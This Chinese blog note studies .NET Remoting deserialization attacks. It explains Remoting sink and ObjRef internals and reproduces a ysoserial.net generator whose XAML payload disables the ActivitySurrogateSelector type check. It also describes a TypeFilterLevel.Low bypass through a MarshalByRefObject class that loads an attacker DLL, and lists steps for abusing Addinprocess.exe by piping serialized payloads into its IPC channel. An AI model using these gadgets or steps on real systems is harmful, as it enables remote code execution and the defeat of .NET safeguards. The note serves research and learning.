Spec

Learning-Exploit-of-NET-Remoting


2023-03-27

.NET Remoting introduction

.NET Remoting是在.NET中用於遠程方法調用的內置架構

.NET Remoting集成於.NET Framework中,允許所謂的遠程調用方法。客戶端和服務器之間支持的傳輸包括HTTP、IPC(命名管道)和TCP

以下是一個簡單的例子以進行說明:服務器創建並註冊傳輸服務器通道,然後將該類別註冊為服務

1
2
3
4
5
6
var channel = new TcpServerChannel(12345);
ChannelServices.RegisterChannel(channel);
RemotingConfiguration.RegisterWellKnownServiceType(
typeof(xxx),
"name"
);

客戶端只需要知道服務的URL,就可以透過遠程調用在客戶端和伺服器之間進行通訊

1
2
3
4
var remote = (MyRemotingClass)RemotingServices.Connect(
typeof(xxx),
"tcp://remoting-server:12345/name"
);

.NET Remoting已於2009年隨著.NET Framework 3.0的發布而被棄用,並在.NET Core和.NET 5+中不再提供

Bypass DisableActivitySurrogateSelectorTypeCheck

衆所周知,ActivitySurrogateSelector gadget可以加載DLL,利用了System.Workflow.ComponentModel中的ActivitySurrogateSelector類別

但在DotNet framework(4.8+)fixed.

1
2
3
4
5
6
7
8
9
10
11
12
private sealed class ObjectSurrogate : ISerializationSurrogate
{
public void GetObjectData(object obj, SerializationInfo info, StreamingContext ctx)
{
if (!AppSettings.DisableActivitySurrogateSelectorTypeCheck &&
!(obj is ActivityBind) && !(obj is DependencyObject))
{
throw new ArgumentException("obj");
}
// ...
}
}

我們可以看到,對GetObjectData函數進行了類型檢查,確保只能處理ActivityBind或DependencyObject

同時引入了一個新選項(DisableActivitySurrogateSelectorTypeCheck)

1
2
3
4
5
6
7
8
9
10
internal static bool DisableActivitySurrogateSelectorTypeCheck
{
get
{
if (NativeMethods.IsDynamicCodePolicyEnabled())
return false;
AppSettings.EnsureSettingsLoaded();
return AppSettings.disableActivitySurrogateSelectorTypeCheck;
}
}

新增了一個新的方法呼叫NativeMethods.IsDynamicCodePolicyEnabled,確保只有當WLDP(Windows Lockdown Policy)被啟用時,類型白名單才會強制實施。這裏不需要關注WLDP(Windows Lockdown Policy)。這個AppSettings.disableActivitySurrogateSelectorTypeCheck選項實際上對應到 ConfigurationManager.AppSettings,通常指的是應用程式或web.config檔案中的策略

1
2
3
4
5
NamedValueCollection collection = ConfigurationManager.AppSettings;
bool.TryParse(
collection["microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck"],
out AppSettings.disableActivitySurrogateSelectorTypeCheck
)

也就是說其實只需要反序列化payload觸發如下調用關閉保護

1
ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck","true");

TextFormattingRunProperties就可以輕鬆做到

https://github.com/pwntester/ysoserial.net/blob/d1ee10ddd08bbfdda3713b2f67a7d23cbca16f12/ysoserial/Generators/ActivitySurrogateDisableTypeCheck.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
using System;
using System.Collections.Generic;

namespace ysoserial.Generators
{
class ActivitySurrogateDisableTypeCheckGenerator : GenericGenerator
{
public override string Name()
{
return "ActivitySurrogateDisableTypeCheck";
}

public override string Description()
{
return "ActivitySurrogateDisableTypeCheck Gadget by Nick Landers. Disables 4.8+ type protections for ActivitySurrogateSelector, command is ignored.";
}

public override List<string> SupportedFormatters()
{
return new List<string> { "BinaryFormatter", "ObjectStateFormatter", "SoapFormatter", "NetDataContractSerializer", "LosFormatter" };
}

public override object Generate(string cmd, string formatter, Boolean test)
{
string xaml_payload = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:s=""clr-namespace:System;assembly=mscorlib""
xmlns:c=""clr-namespace:System.Configuration;assembly=System.Configuration""
xmlns:r=""clr-namespace:System.Reflection;assembly=mscorlib"">
<ObjectDataProvider x:Key=""type"" ObjectType=""{x:Type s:Type}"" MethodName=""GetType"">
<ObjectDataProvider.MethodParameters>
<s:String>System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key=""field"" ObjectInstance=""{StaticResource type}"" MethodName=""GetField"">
<ObjectDataProvider.MethodParameters>
<s:String>disableActivitySurrogateSelectorTypeCheck</s:String>
<r:BindingFlags>40</r:BindingFlags>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key=""set"" ObjectInstance=""{StaticResource field}"" MethodName=""SetValue"">
<ObjectDataProvider.MethodParameters>
<s:Object/>
<s:Boolean>true</s:Boolean>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key=""setMethod"" ObjectInstance=""{x:Static c:ConfigurationManager.AppSettings}"" MethodName =""Set"">
<ObjectDataProvider.MethodParameters>
<s:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</s:String>
<s:String>true</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";

TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload);
return Serialize(payload, formatter, test);
}

}
}
//ConfigurationManager.AppSettings.Set(
// "microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck",
// "true"
//);
//But actually the reference made to ConfigurationManager.AppSettings only occurs if the internal //Workflow.ComponentModel.AppSettings has not yet been initialized
//so we must use System.Reflection calls using ObjectDataProviders to manually set the internal Workflow boolean //value.

Remoting Internals

在客戶端連接到由伺服器提供的遠端物件時,它會建立一個實作指定類別MyRemotingClass的RemotingProxy。所有遠端的方法呼叫(除了GetType()和GetHashCode())都會以遠端呼叫的方式傳送到伺服器。當遠端的方法被呼叫時,代理會建立一個MethodCall物件,該物件包含方法和傳遞的參數的資訊,然後將其傳遞給chain of client sinks,以準備MethodCall並處理在給定傳輸上的遠端通訊

客戶端的默認chain of server sinks如下

HttpClientChannel:
SoapClientFormatterSinkHttpClientTransportSink

IpcClientChannel:
BinaryClientFormatterSinkIpcClientTransportSink

TcpClientChannel:
BinaryClientFormatterSinkTcpClientTransportSink

在伺服器端,接收到的請求也會傳遞給chain of server sinks,其中也包括MethodCall物件的反序列化。它以dispatcher sink結束,該調度器接收器使用傳遞的參數來呼叫方法的實際實作。方法呼叫的結果隨後放入MethodResponse物件中,並返回給客戶端,客戶端chain of client sinks會反序列化MethodResponse物件,提取返回的物件並將其傳回RemotingProxy

伺服器的默認chain of server sinks如下

HttpServerChannel:
HttpServerTransportSinkSdlChannelSinkSoapServerFormatterSinkBinaryServerFormatterSinkDispatchChannelSink

IpcServerChannel:
IpcServerTransportSinkBinaryServerFormatterSinkSoapServerFormatterSinkDispatchChannelSink

TcpServerChannel:
TcpServerTransportSinkBinaryServerFormatterSinkSoapServerFormatterSinkDispatchChannelSink

默認伺服器chain可以處理兩種格式。只有在通道未使用明確的IClientChannelSinkProvider或IServerChannelSinkProvider創建時,才會使用默認chain

MarshalByRefObject

如果類型擴展了MarshalByRefObject則表明為reference,該物件需要使用RemotingServices.Marshal進行marshal(編組)。該過程會將其注冊到當前的registry中,并且RemotingServices.Marshal將會返回ObjRef實例,這個實例持有關於編組物件的URL和類型信息

marshal的過程是透過RemotingSurrogate進行的,用於BinaryFormatter/SoapFormatter中(RemotingSurrogate.GetSurrogate(Type, StreamingContext, out ISurrogateSelector)CoreChannel.CreateSoapFormatter(bool, bool))

serialization surrogate允許自訂指定型別的序列化/反序列化

對於擴展自MarshalByRefObject的物件,RemotingSurrogateSelector會返回RemotingSurrogate(RemotingSurrogate.GetSurrogate(Type, StreamingContext, out ISurrogateSelector))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public virtual ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector ssout)
{
if (type == null)
{
throw new ArgumentNullException("type");
}
Contract.EndContractBlock();

Message.DebugOut("Entered GetSurrogate for " + type.FullName + "\n");

if (type.IsMarshalByRef)
{
Message.DebugOut("Selected surrogate for " + type.FullName);
ssout = this;
return _remotingSurrogate;
}
......

接下來按照.NET序列化機制,將會呼叫RemotingSurrogate.GetObjectData(Object, SerializationInfo, StreamingContext),最終會進入到

RemotingServices.MarshalInternal(MarshalByRefObject, string, Type)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
internal static ObjRef MarshalInternal(MarshalByRefObject Obj, String ObjURI, Type RequestedType, bool updateChannelData, bool isInitializing)
{
BCLDebug.Trace("REMOTE", "Entered Marshal for URI" + ObjURI + "\n");

if (null == Obj)
return null;

ObjRef objectRef = null;
Identity idObj = null;

idObj = GetOrCreateIdentity(Obj, ObjURI, isInitializing);
......
TrackingServices.MarshaledObject(Obj, objectRef);
return objectRef;
}

可以看到最後return objectRef,意味著每個擴展自MarshalByRefObject的遠程物件都會返回為一個ObjRef

在接收方,如果發送方傳遞的是一個ObjRef,在反序列化過程中最終將呼叫ObjRef實現的IObjectReference.GetRealObject(StreamingContext)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// This is called when doing fix-ups during deserialization
[System.Security.SecurityCritical] // auto-generated_required
public virtual Object GetRealObject(StreamingContext context)
{
return GetRealObjectHelper();
}
// This is the common helper called by serialization / smuggling
[System.Security.SecurityCritical] // auto-generated
internal Object GetRealObjectHelper()

{
// Check if we are a result of serialiazing an MBR object
// or if someone wanted to pass an ObjRef itself
if (!IsMarshaledObject())
{
BCLDebug.Trace("REMOTE", "ObjRef.GetRealObject: Returning *this*\n");
return this;
}
else
{
// Check if this is a lightweight objref
if(IsObjRefLite())
{
BCLDebug.Assert(null != uri, "null != uri");

// transform the url, if this is a local object (we know it is local
// if we find the current application id in the url)
int index = uri.IndexOf(RemotingConfiguration.ApplicationId);

// we need to be past 0, since we have to back up a space and pick up
// a slash.
if (index > 0)
uri = uri.Substring(index - 1);
}

// In the general case, 'this' is the
// objref of an activated object

// It may also be a well known object ref ... which came by
// because someone did a Connect(URL) and then passed the proxy
// over to a remote method call.

// The below call handles both cases.
bool fRefine = !(GetType() == typeof(ObjRef));
Object ret = RemotingServices.Unmarshal(this, fRefine);

// Check for COMObject & do some special custom marshaling
ret = GetCustomMarshaledCOMObject(ret);

return ret;
}

}

該接口方法用於在反序列化期間使用由該方法返回值替換物件。對於ObjRef,此方法導致調用RemotingServices.Unmarshal(ObjRef, bool),它會使用反序列化后的ObjRef中指定的型別和目標URL創建一個RemotingProxy,當客戶端在這個代理上呼叫時,方法資訊和參數被打包成一個實作IMethodCallMessage的物件。這個物件被傳送到遠端進行處理,呼叫真實方法並將返回值(或異常)封裝在一個實作IMethodReturnMessage的物件中返回

也就是說所有擴展自MarshalByRefObject的物件都使用ObjRef按引用傳遞。並且在使用BinaryFormatter/SoapFormatter反序列化ObjRef后(不僅限於 .NET Remoting)會導致創建RemotingProxy(類似於yso中的jrmpclient)

Bypass TypeFilterLevel.Low

image-20230322221351156

然而remoting services的remoting services默認為TypeFilterLevel.Low,那麽又該如何bypass

再重新説明下TypeFilterLevel.Low的限制

  • Object types derived from MarshalByRefObject, DelegateSerializationHolder, ObjRef, IEnvoyInfo and ISponsor can not be deserialized.
  • All objects which are deserialized must not Demand any CAS permission other than SerializationFormatter permission.

限制有兩種,一種是CAS,另一種是類別限制

CAS permission

BinaryServerFormatterSink.ProcessMessage(sinkStack, requestMsg, requestHeaders, requestStream, responseMsg, responseHeaders, responseStream)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PermissionSet currentPermissionSet = null;                  
if (this.TypeFilterLevel != TypeFilterLevel.Full) {
currentPermissionSet = new PermissionSet(PermissionState.None);
currentPermissionSet.SetPermission(
new SecurityPermission(
SecurityPermissionFlag.SerializationFormatter));
}

try {
if (currentPermissionSet != null)
currentPermissionSet.PermitOnly();

// Deserialize Request - Stream to IMessage
requestMsg = CoreChannel.DeserializeBinaryRequestMessage(
objectUri, requestStream, _strictBinding, this.TypeFilterLevel);
}
finally {
if (currentPermissionSet != null)
CodeAccessPermission.RevertPermitOnly();
}

當前為SecurityPermissionFlag.SerializationFormatter,并且使用了currentPermissionSet.PermitOnly();意味著只能反序列化,其他諸如建立檔案都是不允许的

因爲在finally存在CodeAccessPermission.RevertPermitOnly();,可以理解爲解除了CAS Permitonly

也就是說只要在CoreChannel.DeserializeBinaryRequestMessage這一反序列化過程中不違反CAS就行,注意在這裏如果這時接收方獲取到ObjRef并且反序列化為RemotingProxy的時刻并不會直接觸發遠端連接,只有等到在對RemotingProxy的實際調用發生后才會建立遠端連接,所以說如果在此反序列化ObjRef是可行的

image-20230328215510611

Call Stack中可以得知發生遠端調用(下面的紅色方框)這時已經是在CodeAccessPermission.RevertPermitOnly();后了

所以只需要在攻擊者端建立一個惡意類別并且擴展MarshalByRefObject並注冊,覆寫其中的方法使其被遠端調用后能夠返回自訂反序列化payload,這樣處理攻擊者返回的payload反序列化過程的將會移交給BinaryClientFormatterSink.DeserializeMessage(IMethodCallMessage mcm, ITransportHeaders headers, Stream stream)處理,這個方法沒有保護

還有一個細節是對RemotingProxy的實際調用是如何發生的,如果傳遞給方法的引數不是所需類型的直接對應,StackBuilderSink::SyncProcessMessage將呼叫 Message::CoerceArgs,嘗試將引數強制轉換為正確的類型。在這個Message::CoerceArgs中對於fall-back情況的處理是調用Convert::ChangeType,傳遞所需的類型和從客戶端傳遞的物件。接下來檢查傳遞的物件是否實作了IConvertible,並呼叫其中的ToType方法

所以説攻擊者只需要這樣

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class SerializerRemoteClass : MarshalByRefObject, IConvertible{
public object ToType(Type conversionType, IFormatProvider provider)
{
Assembly user_assembly;
try
{
user_assembly = Assembly.LoadFrom("TestAssembly.dll");
if (user_assembly == null)
{
return null;
}
}
catch (Exception ex)
{
Console.WriteLine($"[!] Error loading provided assembly file. Error Message {ex.Message}:{ex.StackTrace}");
return null;
}
PayloadClass Stage2_gadget = new PayloadClass(user_assembly);
return Stage2_gadget;
}
......
}
類別限制

最後的一個問題是如何繞過類別限制

ObjectReader.CheckSecurity

1
2
3
4
5
6
7
8
9
10
internal void CheckSecurity(ParseRecord pr) {
Type t = pr.PRdtType;
if ((object)t != null){
if(IsRemoting) {
if (typeof(MarshalByRefObject).IsAssignableFrom(t))
throw new ArgumentException();
FormatterServices.CheckTypeSecurity(t, formatterEnums.FEsecurityLevel);
}
}
}

ObjectReader

1
2
3
4
5
private bool IsRemoting {
get {
return (bMethodCall || bMethodReturn);
}
}

ObjectReader.SetMethodCall

1
2
3
4
5
internal void SetMethodCall(BinaryMethodCall binaryMethodCall)
{
bMethodCall = true;
this.binaryMethodCall = binaryMethodCall;
}

__BinaryParser.ReadMethodObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
internal void ReadMethodObject(BinaryHeaderEnum binaryHeaderEnum)
{
SerTrace.Log( this, "ReadMethodObject");
if (binaryHeaderEnum == BinaryHeaderEnum.MethodCall)
{
BinaryMethodCall record = new BinaryMethodCall();
record.Read(this);
record.Dump();
objectReader.SetMethodCall(record);
}
else
{
BinaryMethodReturn record = new BinaryMethodReturn();
record.Read(this);
record.Dump();
objectReader.SetMethodReturn(record);
}
}

解決方式為手寫協議,不要將MethodCall或者MethodReturn作爲top level record即可,這一部分可以參考

https://github.com/tyranid/ExploitRemotingService

接著是一個存在于real world中的簡單示例,僅僅使用到了前文提到的Bypass DisableActivitySurrogateSelectorTypeCheck

Addinprocess.exe

Addinprocess.exe存在於X:\Windows\Microsoft.NET\Framework\v4.0.30319(with Microsoft .NET installed)

Add-ins 實際上是.NET Framework提供的一種插件模型,使開發人員能夠為其應用程序創建插件。此模型通過在主機和add-in之間構建通信管道來實現此目的

image-20230322230158389

正如我們所看到的,需要提供/guid:[GUID]參數和/pid:[現有 PID]參數

/guid參數由你提供,並被用作IPC通道名稱。**/pid**參數則是指一個已經運行的進程的進程識別號,addinprocess.exe 會等待其退出

image-20230322230324780

接著,註冊.NET Remoting通道,可以看到addinprocess.exe 使用的是TypeFilterLevel.Full

image-20230322221851861

攻擊手法如下

  • Addinprocess.exe /guid:xxxxxxxx /pid:xxxx(imma pid of explorer.exe)
  • type DisableActivitySurrogateSelectorTypeCheck.bin > \.\pipe\xxxxxxxx
  • type ActivitySurrogateSelector.bin > \.\pipe\xxxxxxxx

廢話收容所

當作自己學習下面文章記錄的一篇學習筆記,方便回憶

https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html

https://labs.nettitude.com/blog/introducing-aladdin/